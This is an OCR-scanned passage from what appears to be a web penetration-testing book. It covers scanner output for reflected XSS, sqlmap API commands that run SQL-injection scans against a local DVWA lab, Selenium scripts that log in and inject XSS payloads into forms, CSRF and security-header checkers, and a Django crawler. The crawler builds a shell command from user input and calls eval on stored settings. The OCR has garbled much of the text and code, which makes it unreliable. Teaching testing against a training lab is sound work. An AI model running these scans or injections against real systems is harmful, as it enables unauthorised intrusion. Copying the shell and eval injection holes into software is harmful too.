AEY 1in N2071:20 11 blewr 2012 leciua faund i_lonut ratirned in resnanss (raflactadl
v ([5% i S
Event log @ v Advisory
Y Filter  critical ~ Error  Info B |Bearch...
Time ¥ | Type | Source | Message
02:39:48 11 Nov 2018  Error Proxy [2] The client failed to nego &
02:34:33 11 Now 2018 Info Task 7 Paused due to error: 10 con
02:31:48 11 Nov 2018 Error Proxy [2] The client failed to nego
02:31:42 11 Now 2018  Error Proxy [3] The client failed to nego
02:31:26 11 Nov 2018 Error Proxy [2] The client failed to negg
02:14:12 11 Nov 2018 Error Proxy The client failed to negotiat
02:08:47 11 Nov 2018  Error Proxy [2] The client failed to neg
02:01:06 11 Now 2018  Info Task 2 Maximum time exceeded in|
02:01:05 11 Nov 2018 Info Task 2 Maximum time exceeded in|
02:00:38 11 Nov 2018 Error Proxy The client failed to negotiate,

Task id : 8

Severity : medium

Name : Cross-site scripting (reflected)

Path : jdvwa/vulnerabilitiesjupload/

Description : The value of the <b>security</b> cookie is copied into the value of an HTML tag attribute which is an event handler and is encaps
ulated in double quotation marks. The payload <b>42302';alert(1)//118</b> was submitted in the security cookie. This input was echoed unmodifie
d in the application's response.<br><br>This proof-of-concept attack demonstrates that it is possible to inject arbitrary Javascript into the a
pplication's response.<br><br>Note that the input is echoed into an existing event handler within the response. JavaScript injected into this c
ontext will only execute when the relevant event occurs. This may require some action by the victim user, and may hinder exploitation. It may b
e possible to manually fine tune an attack to increase the likelihood that the event occurs.<brz<br>Because the user data that is copied into t
he response is submitted within a cookie, the application's behavior is not trivial to exploit in an attack against another user. Typically, yo
u will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. Applications of
ten contain "cookie-forcing" conditions which make this possible, and such a condition in any related domain or subdomain can potentially be us
ed for this purpose. Nonetheless, this limitation somewhat mitigates the impact of the vulnerability.

URL : http://192.168.250.1/dvwa/vulnerabilities/upload/

Severity : medium

Name : Cross-site scripting (reflected)

Path : jdvwa/vulnerabilitiesjupload/

Description : The value of the <b>security</b> cookie is copied into the value of an HTML tag attribute which is an event handler and is encaps
ulated in double quotation marks. The payload <b>42302';alert(1)//118</b> was submitted in the security cookie. This input was echoed unmodifie
d in the application's response.<br><br>This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the a
pplication's response.<br><br>Note that the input is echoed into an existing event handler within the response. JavaScript injected into this c
ontext will only execute when the relevant event occurs. This may require some action by the victim user, and may hinder exploitation. It may b
e possible to manually fine tune an attack te increase the likelihood that the event occurs.<brz<br>Because the user data that is copied into t
he response is submitted within a cookie, the applicatioen's behavier is not trivial to exploit in an attack against another user. Typically, yo
u will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. Applications of
ten contain "cookie-forcing" conditions which make this possible, and such a condition in any related domain or subdomain can potentially be us
ed for this purpose. Nonetheless, this limitation somewhat mitigates the impact of the vulnerability.

URL : http://192.168.250.1/dvwa/vulnerabilities/upload/
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Tasks () Mew live task @ @ @ /7 Issue activity
Y Filter  Running Paused Finished Y Filter  High Medium Low  Info Certain Firm  Tentatve O
2, Live audit from Proxy (all traffic) WK L2 ? #  v|Task [Time | Action [ 1ssue type
Audit checks - passive Issues: 552 10 02:48:30 12 Nov 2018 Issue found i Input returned in response (reflected) .‘\
0 requests (0 errors) 551 10 02:48:26 12 Now 2018 Issue found i Path-relative style sheet import
Capturing: Vel 550 10 12 Nov 2018  Issue found Path-relative style sheet import
1w detalls 549 10 12 Nov 2018  Issue found i Input returned in response (reflected)
10, Cravl and audit of 162.168.250.1 [OIEICAE, s48 10 12 Nov 2018  Issue found i Input returned in response (reflected)
547 10 12 Nov 2018  Issue found i Input returned in response (reflected)
Default configuration ssues: @ 546 10 12 Nov 2018 Issue found ? Cross-site request fargery
[ T requests (23 errors) 545 10 12 Nov 2018  Issue found i Path-relative style sheet import
Auditing, 21s remaining 53 locations crawled \iew details % 544 10 12 Nov 2018 Issue found i Path-relative style sheet import
WSS 10 12 Nov 2018  Issue found i Path-relative style sheet impert -
LMNELS J T
Event log @ v Advisory
7 Filter  critical  Error  Info B |earch..
Time ¥ | Type | Source | Message
02:10:28 12 Now 2018 Info Proxy Proxy service started on 127,
IS J 1S
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:~# sgqlmapapi -s -H "0.0.0.08"

:~# curl http://127.0.0.1:8775/task/new

"taskid": "cbe7c54730733717",
"success": true

:”#I

:~# curl -H "Content-Type: application/json" -X POST -d '{"cookie":"PHP
SES5ID=7brq7o2qf68hko4tan3fl4atg4;security=low","url”: "http://192.168.250.1/dvw

a/vulnerabilities/sqli/?id=1&5ubmit=Submit"}"' http://127.0.0.1:8775/option/cbe’c
54730733717 /set

{
"success": ftrue
} ~# [




:~# curl http://127.0.0.1:8775/0ption/cbe7c54730733717/1ist

"options": {
"crawlDepth": null,
"osSshell": false,
"getUsers": false,
"getPasswordHashes": false,
"excludeSysDbs": false,
"ignoreTimeouts": false,
"regData": null,
"prefix": null,
"code": null,
"googlePage": 1,
"skip": null,
"query": null,
"randomAgent": false,
"osPwn": false,
"authType": null,
"safeuUrl™: null,
"requestFile": null,
"predictOutput": false,
"wizard": false,
"stopFail": false,
"forms": false,
"uChar": null,
"taskid": "cbe7c54730733717",
"pivotColumn®: null,
"dropSetCookie": false,
"smart": false,
"paramExclude”: null,

:~# curl -H "Content-Type: application/json" -X POST -d '{"cookie":"PHP
SESSID=7brq7o2qf68hk94tan3fld4atg4;security=low","url”: "http://192.168.250.1/dvw
a/vulnerabilities/sqli/?id=1&Submit=Submit"}' http://127.0.0.1:8775/scan/che7c54
730733717/start
{

"engineid": 3918,
"success": true
4 I




:~/.sglmap#curl http://127.0.0.1:8775/scan/cbe7c547308733717/10og

"log”: [
{
: "resuming back-end DBMS 'mysql' ",
"INFO"™,
"time": "11:44:34"

age": "testing connection to the target URL",
"1 1*: "INFO",
"time": "11:44:34"

"the back-end DBMS is MysQL",
"INFO™",
"11:44:34"

"testing connection to the target URL",
"INFO™,
"11:51:14"

"checking if the target is protected by some kind of WAF/
IPS/IDS",
"INFO™,
"11:51:14"
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"testing for SQL injection on GET parameter 'id'",
"INFO",
"11:51:15"

"testing 'AND boolean-based blind - WHERE or HAVING claus

"INFO",
"11:51:15"

: "reflective value(s) found and filtering out",
"WARNING",

"11:51:15"

"testing 'AND boolean-based blind - WHERE or HAVING claus
e

1": "INFO",
"11:51:16"

"message”: "testing 'OR boolean-based blind - WHERE or HAVING clau
(MysQL comment)'",
"1e : "INFO",
"11:51:16"
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ean-based blind - WHERE or HAVING clau

"INFO",
"11:51:17"

"message”: "GET parameter 'id' appears to be 'OR boolean-based blind
- WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string=\
"Me\" )",
"INFO",
"11:51:17"

"message”: "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, 0O
DER BY or GROUP BY clause (BIGINT UNSIGNED)'",

"level™: "INFO",

"time": "11:51:17"

1
I
{

"mes "

sage "testing 'MySQL == 5.5 OR error-based - WHERE or HAVING c
Lause (BIGINT UNSIG

NED)'",
"INFO",
"11:51:17"

e": ting 'MySQOL == 5.5 AND error-based - WHERE, HAVING, 0
RDER BY or (EXP)'",
= "INFO",
"time": "11:51:17"

[157]




Chapter 9: Automated Web Application
Scanning - Part 2

1 bs4 BeautifulSoup

2 requests

3 multiprocessing mp

4 selenium webdriver

5 time

6 datetime

7 selenium.webdriver.support.utl WebDriverWait

8 selenium.webdriver.support expected conditions EC
9 selenium.common.exceptions TimeoutException

10 selenium.webdriver.common.keys Keys

11 selenium.webdriver.common.by By

12 selenium.webdriver.support.uti Select

13

14 class Xss_automate():

15 def __init__(self,target,base):

16 self.target=target

17 self.base=base

18 self.email="admin"

19 self.password="password"

20 self.target_links=["vulnerabilities/xss r/","vulnerabilities/xss_s/"]
21

22 def start(self):

23 try:

24 browser = webdriver.Phantom3S()

25 browser.get(self.target)

26 element_username=browser.find_element_by_name("username");
27 element_username.clear()

28 element_username.send_keys(self.email)

29 element_username.click()

30 element_password=browser.find_element_by_name("password");
31 element_password.clear()

32 element_password.send_keys(self.password)
33 element_password.click()
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34

35 try:
36 element submit = WebDriverWait(browser, 2).until(

37 EC.element_to_be_clickable((By.NAME, "Login"))

38

39 time. sleep(2)

40 element_submit.click()

41 except Exception ,ee:

42 print("Exception : "+str(ee))

43 browser.quit()

44 html = browser.page_source

45 cookie={'domain':"'192.168.250.1", 'name': 'security','value':'low",

46 ‘path': 'fdvwa/','httponly': False, 'secure': False}

a7 browser.add cookie(cookie)

48 all_cookies = browser.get cookies()

49 soup = BeautifulSoup(html, "html.parser")

50 anchor_tags=soup.find_all("a"

51 browser.save_screenshot('screen.png')

52 print("\n Saved Screen shot Post Login.Note the cookie values : ")

53 for i,link in enumerate(anchor_tags):

54 try:

55 if 1 1= 0:

56 actuall_link=1link.attrs["href"]

57 actuall_link=actuall_link.replace("/.","/")

58 if actuall_link in self.target_links:

59 nav_url=str(self.target)+str(actuall_link)

60 browser.get(nav_url)

61 browser.save_screenshot("screen"+str(i)+".png")
62 page_source=browser.page_source

63 soup = BeautifulSoup(page_source, "html.parser")
64 forms=soup.find_all("form™)

65 submit_button=""

66 value_sel=False

67 payload="<a href="#"'> Malacius Link X55 </a>"
68 for no,form in enumerate(forms) :

69 inputs=form.find_all("input")

70 inputs=form.find_all("input")

71 for ip in inputs:

72 if ip.attrs["type"] in ["text","password"]:

73 element_payload=browser.find_element_by_name(ip.attrs

["nane’]);

["name"]);

element_payload.clear()
element_payload.send_keys(payleoad)
element_payload.click()

elif ip.attrs["type"] in ["submit","button"]:

submit_button=ip.attrs.get("name","")
if submit_button == "":
submit_button=ip.attrs.get({"value","")
value_sel=True|
text_area=form.find_all("textarea")
for ip in text_area:
if 1:
element_payload=browser.find_element_by_name(ip.attrs

element_payload.clear()
element_payload.send_keys(payload)
element_payload.click()
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91 try:

92 if value_sel==False:

93 element_submit = WebDriverWait(browser, 2).until(

94 EC.element_to_be_clickable((By.NAME, submit_button)))

95 else:

26 element_submit = browser.find_element_by_css_selector
('[value=""+submit_button+'"]')

97 element_submit.click()

98 sc="payload_"+str(i)+"_"+str(no)+".png"

99 browser.save_screenshot(sc)

100 print("\n Saved Payload Screen shot : "+str(sc))

101 browser.get(nav_url)

103 except Exception ,ee:
104 print("Exception @@: "+str(ee))
105 browser.quit()

109 except Exception ex:
110 print("## Exception caught : " +str(ex))
111 print("\n\nSucessfully executed and created POC")

113 except Exception ex:

114 print(str(ex))

115

116 obj=Xss_automate("http://192.168.250.1/dvwa/", "http://192.168.250.1/")
117 obi.start()

root@ Ubantu: /home/khan/Penetration_testing_advance/xss_automate# python2.7 -W ignore Xss_automate.py
Saved Screen shot Post Login.Note the cookie values :

Saved Payload Screen shot : payload_11_0.png

Saved Payload Screen shot : payload_12_0.png

Sucessfully executed and created POC

Xss_automate * chap_10_a x

node_modules phantom phantom_ phantomjs-2.1.1- xsser Xssmap XSStrike
linux-x86_64
F B B = =
] £ = = e é
ghostdriver.log payload_11_0.png payload_12_0.png phantomjs-2.1.1- screen.png sel.py Xss_automate.py
linux-x86_64.tar.
bz2
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Instructions

Setup

Brute Force

Command Execution

CSRF

Insecure CAPTCHA

File Inclusion

SQaL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin
Security Level: high
PHPIDS: disabled

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are
to be an aid for security professionals to test their skills and tools in a legal environment, help web developers
better understand the processes of securing web applications and aid teachers/students to teach/learn web
application security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or
any internet facing web server as it will be compromised. We recommend downloading and installing
onto a local machine inside your LAN which is used solely for testing.

Disclaimer
We do not take responsibility for the way in which any one uses this application. We have made the purposes of
the application clear and it should not be used maliciously. We have given wamings and taken measures to

prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation
of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.

General Instructions

The help button allows you to view hits/tips for each vulnerability and for each security level on their respective
page.

You have logged in as "admin’
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Home

Instructions

Setup

Brute Force

Command Execution

CSRF

Insecure CAPTCHA

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

[ submit

Hello

More info

View Source | View Help
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Home

Instructions

Setup

Brute Force

Command Execution

CSRF

Insecure CAPTCHA

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

DVWA Security

PHP Info

About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

Vulnerability: Stored Cross Site Scripting (XSS)

Name * [
Message * ‘
Sign Guestbook
Name: test

Message: This is a test comment.

Name:

More info

View Source | View Help
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bs4 BeautifulSoup

requests

multiprocessing mp

selenium
time
datetime

webdriver

selenium.webdriver.support.ui WebDriverWait
selenium.webdriver.support expected_conditions EC

selenium.common.

exceptions TimeoutException

selenium.webdriver.common.keys Keys
selenium.webdriver.common.by By
selenium.webdriver.support.ui Select

class Csrf_automate():
def  init_ (self,target,base):

self.
self.
self.
self.
self.
self.
self.

target=target

base=base

email="admin"

password="password"

target_links=["vulnerabilities/csrf/"]
cookies=["RequestVerificationToken","token","csrfToken","csrftoken"]
hidden=["__RequestVerificationToken","token"," csrfToken"," csrftoken"]

def start(self):

try:

browser = webdriver.PhantomJs()

browser.get(self.target)
element_username=browser.find_element_by_name("username");
element_username.clear()
element_username.send_keys(self.email)
element_username.click()
element_password=browser.find_element_by_name("password");
element_password.clear()
element_password.send_keys(self.password)

element password.click()
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try:

38 element_submit = WebDriverWait(browser, 2).until(

39 EC.element_to_be_clickable((By.NAME, "Login"))
40

41 time. sleep(2)

42 element_submit.click()

43 except Exception ee:

44 print("Exception : "+str(ee))

45 browser.quit()

46 html = browser.page_source

47 cookie={'domain':'192.168.250.1',"'name"': 'security','value':'low’',
48 'path': '/dvwa/','httponly': False, 'secure': False}

49 browser.add_cookie(cookie)

50 all_cookies = browser.get_cookies()

51 soup = BeautifulSoup(html, "html.parser")

52 anchor_tags=soup.find_all("a")

53 browser.save_screenshot('screen.png')

54 print("\n Saved Screen shot Post Login.Note the cookie values : ")
55 found_form=False

56 forms=[]

57 for i,link in enumerate(anchor_tags):

58 try:

59

60 actuall_link=link.attrs["href"]

61 actuall_link=actuall_link.replace("/.","/")

62 if actuall_link in self.target_links:

63 nav_url=str(self.target)+str(actuall_link)
64 browser.get(nav_url)

65 browser.save_screenshot({"screen"+str{i)+".png")
66 page_source=browser.page_source

67 soup = BeautifulSoup(page_source, "html.parser")
68 forms_=soup.find_all("form")

69 submit_button=""

71 all_cookies = browser.get_cookies()

72 for no,form in enumerate(forms_|) :

73 anti_csrf=False

74 inputs=form.find_all("input")

75 for ip in inputs:

76 if ip.attrs["type"] in ["hidden"]:

77 hidden=browser.find_element_by_name(ip.attrs["name"]);
78 if hidden in self.hidden:

79 for c,v in all_cookies.iteritems():
80 if c in self.cookies:

81 anti_csrf=True

82 if anti_csrf==False:

83 forms.append({"url":nav_url,"form":str(form)})

84 browser.save_screenshot('csrf_'+str(no)+".png")

85 except Exception ex:

86 print("## Exception caught : " +str(ex))

87

88 if len(forms):

89 print('Discovered folowing Forms without CSRF protection : ")

20 for form in forms:

91 print("URL @ "+str(form["url”])+"\n")

92 print("Form : " +str(form["form"]))

93 print("\n\n\n\n")

94

95 print("\n\nSucessfully executed and SCreenshots Saved")

96

97 except Exception ex:

98 print(striex))

99

106 obj=Csrf_automate("http://192.168.2560.1/dvwa/"," "http://192.168.250.1/")

101 obj.start()
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root@khanUbantu: /home/khan/Penetration_testing_advance/CSRF_automate# python2.7 -W ignore Csrf_automate.py

saved Screen shot Post Login.Note the cookie values :
Discovered folowing Forms without CSRF protection :
URL : http://192.168.250.1/dvwa/vulnerabilities/csrf/

Form : <form action="#" method="GET"> Mew password:<br=>
<input autocomplete="off" name="password_new" type="password"><br>
Confirm new password: <br=>
<input autocomplete="off" name="password_conf" type="password">
r=
nput name="Change" type="submit" value="Change">
</input=</br=</input></br=</br=</input></br></form=

Sucessfully executed and SCreenshots Saved

CSRF_automate = Registration_b... = Downloads *®
= i?;] 5
csrf_0.png Csrf_automate.py ghostdriver.log screen.png
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Home

Instructions

Setup

Brute Force

Command Execution

Insecure CAPTCHA

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

New password:

e

Confirm new password:

 —
Change

More info

View Source | View Help
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1 requests

2

3 class Detect CJ():

4 def init (self,target):

5 self.target=target

6

7 def start(self):

8 try:

9 resp=requests.get(self.target)

10 headers=resp.headers

11 print ("\n\nHeaders set are : \n" )

12 for k,v in headers.iteritems():

13 print(k+":"+v)

14

15 if "X-Frame-Options" im headers.keys():
16 print("\n\nClick Jacking Header present")
17 else:

18 print("\n\nX-Frame-Options is missing ! ")
19

20 except Exception ex:

21 print("EXception caught : " +str(ex))
22

23 obj=Detect CI("http://192.168.250.1/dvwa")
24 obj.start()

root@khanUbantu: /home/khan/Penetration_testing_advance/CJ# python2.7 -W ignore Cj_detector.py

Headers set are :

Date:Wed, 14 Nov 2018 20:32:21 GMT
Server:Apache/2.4.18 (Ubuntu)
Expires:Tue, 23 Jun 2889 12:808:00 GMT
Cache-Control:no-cache, must-revalidate

Pragma:no-cache

Vary:Accept-Encoding
Content-Encoding:gzip
Content-Length:592
Keep-Alive:timeout=5, max=98
Connection:Keep-Alive
Content-Type:text/html;charset=utf-8

X-Frame-Options is missing !
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1 reguests

7

3 class Detect HSTS():

4 def init (self,target):

5 self.target=target

6

7 def start(self):

8 try:

9 resp=requests.get(self.target)

G| headers=resp.headers

1 print ("\n\nHeaders set are : \n" )

2 for k,v in headers.iteritems():

3 print(k+":"+v)

4

5 if "strict-Transport-Security" im headers.keys():
6 print("\n\nHSTS Header present")
7 else:

8 print("\n\nStrict-Transport-Security is missing ! ")
9

0 except Exception ex:

1 print("EXception caught : " +str(ex))

%]

3 obj=Detect HSTS("http://192.168.250.1/dvwa")
4 obj.start()

root@khanUbantu: /home/khan/Penetration_testing_advance/HSTS# python2.7 -W ignore HSTS_detector.py

Headers set are :

Date:Wed, 14 Nov 2018 20:48:10 GMT
Server:Apache/2.4.18 (Ubuntu)
Expires:Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control:no-cache, must-revalidate
Pragma:no-cache

Vary:Accept-Encoding
Content-Encoding:gzip
Content-Length:592
Keep-Alive:timeout=5, max=98
Connection:Keep-Alive
Content-Type:text/html;charset=utf-8

Strict-Transport-Security is missing !
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Chapter 10: Building a Custom Crawler

CLIENT
Browser

WEB SERVER
(Nginx / Apache)

RESPONSE REQUEST

Middleware Middleware

TEMPLATE URL RESOLUTION
example.html urls.py
VIEW
iddLew

MODEL
wodels.py

MANAGERS

DATABASE
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1 django.conf.urls patterns, include, url
2 xtreme server.views *
3
4 # Uncomment the next two lines to enable the admin:
5 django.contrib admin
6 admin.autodiscover()
7
8 urlpatterns = patterns('’,
9 url(r'*admin/?', include(admin.site.urls)),
10 url{r'~/?5', home),
11 urlﬁr'ﬂirniressi?E'i iroiress},
12 url{r'*new/?S%', new scan
13 url(r'~scans/?S', new_scans),
14 url(r'~details/?S', get details),
15 url(r'~.*s', disp4e4)
16 )
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226 def new _scan(request):
227 if True:

228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
258
251
252
253
254
255
256
257
258

if request.method == "POST":
try:
settings = get_new_settings(request)
except:
settings = get_settings()

queueName="-1

project name = str(request.POST[ 'projectName'])

start_url = str(request.POST['startURL"])

query_url str(request.POST['startURL"])

login_url = str{request.POST['loginURL"])

logout_url = str(request.POST['logoutURL'])

username_field=str(request.POST['toAuthUsernameField'])

username=str(request.POST['toAuthUsername'])

password_field=str(request.POST['toAuthPasswordField'])

password=str(request.POST['toAuthPassword'])

auth_parameters=str(request.POST['authParameters'])

redisIP=str(request.POST['redisIP'])

if (request.POST[ 'queueName']):
queueName=str(request.POST[ 'queueName'])

if Project.objects.filter(project_name = project_name).count():

lol = True
else:
lol = False

if not project_name or not start_url er mot query url eor lol:
return render_to_response("new.html", {
'success': 'False',
'settings': get_renderable_settings()
}, context_instance=RequestContext(request))
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260 else:

261 project = Project()

262 project.project_name = project_name

263 project.start_url = start_url

264 project.query_url = query_url

265 project.loginm_url = login_url

266 project.legout_url = logout_url

267 project.allowed_extensions = str(settings['allowed_extensions'])
268 project.allowed_protocols = str(settings['allowed _protocols’'])
269 project.consider_only = str(settings['consider_only'])

270 project.exclude_fields = str(settings['exclude'])

271 project.username = username

272 project.password = password

273 project.auth_mode = str{settings['auth_mode'])

274 project.username_field=username_field

275 project.password_field=password_field

276 project.auth_parameters=auth_parameters

277 project.queueName=queueName

278 project.redisIP=redisIP

279 project.status = IN_PROGRESS

280 project.save()

281 if 'remember' in request.POST and len(str(request.POST[ ' remember'])):
282 save_settings(settings)

283 emd_str = project_name

284 log_file = open(project_name+'.txt', "wW')

285 RUN_CRAWLER_FILE = os.path.join(SITE_ROOT, 'run_crawler.py')

286 if sys.platform.startswith( 'win32'):

287 process = subprocess.Popen('python "%s" "%s"' %(RUN_CRAWLER_FILE, cmd_str),lshell=True,
288 stdout = log_file,

289 stderr = log_file, 3

290 stdin = subprocess.PIPE)

291 else:

292 process = subprocess.Popen('exec python "%s" "%s"' %(RUN_CRAWLER_FILE, cmd_str),
293 shell=True,

294 stdout = log_file,

295 stderr = log_file, £1

296 stdin = subprocess.PIPE)

301 CRAWLERS[project_name] = process

302 return HttpResponseRedirect(" /details?proj_name=%s&just=true" % (project_name))
303

304 else:

305 return render_to_response("new.html", {

306 'page’': '"new_scan',

307 'settings': get_renderable_settings()

308 }, context_instance=RequestContext(request))
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1 django.db models

2

3 class Project(models.Model):

4 project_name = models.CharField(max_length = 50, primary_key=True)
5 start_url = models.URLField()

6 query _url = models.URLField()

7 allowed_extensions = models.TextField()

8 allowed protocols = models.TextField()

9 consider_only = models.TextField()
10 exclude fields = models.TextField()
11 status = models.CharField(max_length = 50, default = "Not Set")
12 login_url = models.URLField()

13 logout_url = models.URLField()

14 username = models.TextField()

15 password = models.TextField()

16 username_field= models.TextField(default = "Not Set")
17 password_field = models.TextField(default = "Not Set")
18 auth_parameters=models.TextField(default = "Not Set")
19 queueName=models.TextField(default="-1")

20 redisIP=models.TextField(default="1localhost")

21 auth_mode = models.TextField(default = "Not Set")

22 #models

23 #models.

18 DATABASE= os.path.join(SITE_ROOT, 'crawler.db')
19 MAMAGERS = ADMINS

20

21 DATABASES = {

22 'default': {

23 "ENGINE': 'django.db.backends.sqlite3', # Add 'postgr
24 'MAME': DATABASE, # Or path to ¢
25 # The following 5&tting5 are not used with sqglite3:
26 # Set to empty string for default

27 }

28 }

[174 ]



1 s

2 Sys

3 sys.path.append(os.getcwd())

L xtreme_server.models *
5 crawler Crawler

6 logger Logger

T project_name = sys.argv[1]

8 project = Project.objects.get(project_name = project_nane)<:>

9 start_url = str(project.start_url)

10 query_url = str(project.query_url)

11 login_url = str{project.login_url)

12 logout_url = str{project.logout_url)

13 username_field = str(project.username_field)

14 password_field = str(project.password_field)

15 auth_parameters=str(project.auth_parameters)

16 queueName=str(project.queueName)

17 redisIP=str(project.redisIP)

18 settings = {}

19 settings['allowed_extensions'] = eval(str(project.allowed_extensions))
20 settings['allowed protocols'] = eval(str{project.allowed protocols))
21 settings['consider_only'] = eval(str(project.consider_only))

22 settings['exclude'] = eval(str(project.exclude_fields))

23 settings['username'] = project.username

24 settings['password'] = project.password

25 settings['auth_mode'] = project.auth_mode

26 ¢ = Crawler(crawler_name = project_name, start_url = start_url, query_url = query_url

27 ,Login_url = login_url,logout_url = logout_url,
28 allowed_protocols_list = settings['allowed_protocols'],
29 allowed_extensions_list = settings['allowed_extensions'],
30 list_of_types_to_consider = settings['consider_only'],

31 list_of fields_to_exclude = settings['exclude'],

32 username = settings['username'],

33 password = settings['password'],

34 auth_mode = settings['auth_mode'],|

3s username_field=username_field,

36 password_field =password_field,queueName=queueName,redisIP=redisIP,
az auth_parameters=auth_parameters)

38 c.start() @
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1 os,math,random,hashlib,os. path json
2 xtreme Server modeIS

3 urlparSe urlparse,urljoin

4 bs4 BeautifulSoup

5 requests get, post, request

6 logger Logger

7 xtreme server.xtreme.urls url
8 requests.auth HTTPBasicAuth

9 requests.auth HTTPDigestAuth
10 requests Request, Session
11 re ,string ,exrex ,sys
12 django.db connection

13 connection.cursor()

14 FOLDER = os.path.dirname(os.path.realpath(_file ))

15 REPORT_FILE1 = os.path.join(FOLDER, 'file report urls.txt')
16 class Crawler(object):

17 try:

18 def init ( self,

19 crawler_name = None,

20 start_url = None,

21 guery url = None,

22 login_url = None,

23 logout _url = Mone,

24 scope_urls_list = None,

25 should include base = True,

26 allowed protocols_list = None,
27 allowed extensions_list = None,
28 list _of types to consider = None,
29 list of fields to exclude = None,
30 username = MNone,

31 password = None,

32 username_field=None,

33 password field=None,

34 auth_mode = None,

35 queueName=None,

36 redisIP=None,

37 auth_parameters=None):

38 """Initialize the Crawler"""
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39 self.logger = Logger()

40 self.logger.log('Initializing the Crawler %s' % (crawler_name), 'crawler_info')
41 self.crawler_name = crawler_name

42 self.project = Project.objects.get(project _name = crawler_name)
43 self.start_url = start_url

44 self.query url = query url

45 self.login_url = login_url

46 self.logout_url = logout_url

47 self.set_scope_urls(scope urls_list, should_include_base)

48 self.allowed _extensions_list = allowed extensions_list

49 self.allowed _protocols_list = allowed protocols_list

50 self.types_to_consider = list_of_types_to_consider

51 self.fields_to_exclude = list_of_ fields_to_exclude

52 self.username = username

53 self.password = password

54 self.username_field=username_field

55 self.password_field=password_field

56 self.auth_mode = auth_mode

=7 self.queueName=queueName

58 self.redisIP=redisIP

59 self.auth_parameters=auth_parameters|

60 self.logger.log( 'Initialized the Crawler %s' % (crawler_name), 'crawler_info')
325 def start(self, auth=False):

326 self.logger.log("Starting the discovery process with auth: %¥s and seed URLs: %s"
327 % (str(auth), self.start_url), 'crawler_info')

328 self.auth = auth

329 REPORT_FILE = os.path.joln(FOLDER, '%s_report.txt' %{self.project))

338 if self.auth==False:

331 with open(REPORT_FILE, 'wb") f:

332 f.writelines("%s\n \n" % (self.project))

333 if(self.auth==True):

334 ss=Session()

335 cookies = dict({csrftoken=self.auth_mode)

336 Ci} xx=get(self.login_url)

337 ~ 5 = BeautifulSoup(xx.content,"html51ib") (2}

EEL3 Login_form="none"

339 Login_url="none"

340 fs = s,flndALL( ' form') CS}

LS datal = {}

342 payload={}

343 flagl=False,flag2z=False,flag3=False, flag4=False,flag5=False

344 counter_=0

345 lengthforms=[8]*z0

346 matchforms=[None]*20

347 actionforms=[None]*z0

348 payloadforms=[None]*20

349 (@) for T in fs:

350 data={}

351 action_url = self.login_url

352 if f.has_key('action"):

353 actlon_url = f['action’]

354 if action_url.strip() == '' or action_url.strip() == "#':
355 action_url = self.login_url

356 (Ei)actlon_page = self.process_form_action_url(self.login_url,action_url)
357 if not action_page:

358 action = "'

359 else:

360 action = action_page.URL
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362 form_content = str(f)

363 sp = Beautifulsoup(form_content, htmislib") (@)

364 #in type

365 (:) tags=sp.findALLl{ 'input')

366 self.logger.log("reached here 3 %5 : ",'crawler_info')
367 flagl=False

368 flag2=False

369 for tag in tags :

378

371 self.logger.log("reached here 4 %s : ", 'crawler_info')
372 Lf tag.has_key('name'):

373 data[tag['name']] = "'

374 (::) if tag['mame’']==self.username_field or tag[ 'name']==self.password_field:
375 Login_form=str(f)

376 Login_url=str{action)

377 if tag['name']==self.username_field :

378 data[tag[ 'name’]]=self.username

379 flagl=True

380

381 else : 10
382 data[tag[ 'name’]]=self.password

383 flag2=True

384 continue

385

386 elif tag.has_key('value') and tag['value']!="":
387 data[tag[ 'name’]] = tag['value']

388 else:

89 if tag.has_key( type'):

390

391 input_type = tag['type']

a9z if input_type =="submit" :

393 data[tag[ 'name']] =tag['value']

394 11 elif input_type == "hidden”:

395 Lf tag.has_key('value'):

396 data[tag['name’']] = tag['value']
397 else:

398 data[tag['name’']] = 'dummy’
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399 else:

480 data[tag[ 'name']] = 'dummy data type’ @
481 else:

462 if tag.has_key('type'):

483 input_type = tag['type'] |
484 input_val="dummy value’

485 ]_3 |
486 if input_type =="submit" : J//
487 data[tag['type']] =tag['value"]

488 else: =
409 data[tag[ 'type']] ="dummy data submit”
418 if flagil==True and flag2==True :

411 a=str(f)

412 lengthforms[counter_]=len(a)

413 ]_11 actionforms[counter_J]=action

414 data[ 'csrfmiddlewaretoken' J=self.auth_mode

415 ,f/) payloadforms[counter_]=data

416 B counter_=counter_+ 1

417 i=0,j=0

418 if counter_ =1 :

419 while L = counter_

428 j=ivl

421 while j= counter_ :

422 if lengthforms[i]=lengthforms[]]:

423 temp=lengthforms[i]

424 templ=actionforms[i]

425 temp2=payloadforms[i]

426 lengthforms[i]=lengthforms[ji]

427 actionforms[i]=actionforms[j]

428 payloadforms[i]=payloadforms[]]

429 lengthforms[j]=temp

436 actionforms[j]=templ

431 payloadforms[j]=temp2

432 jo=1

433 i=i+l

439 payload=payloadforms[0]

440 if self.auth_parameters:

441 pairs = self.auth_parameters.split(',"')

442 for pair in pairs:

443 field value = pair.split(':')

444 print field_value

445 payload[field_value[0]]=field_value[1]

446

447

448 x = ss.post(actionforms[0],data=payload,cookies=cookies)

449 self.logger.log("login form is %s : "%(actionforms[0]), 'crawler_info')
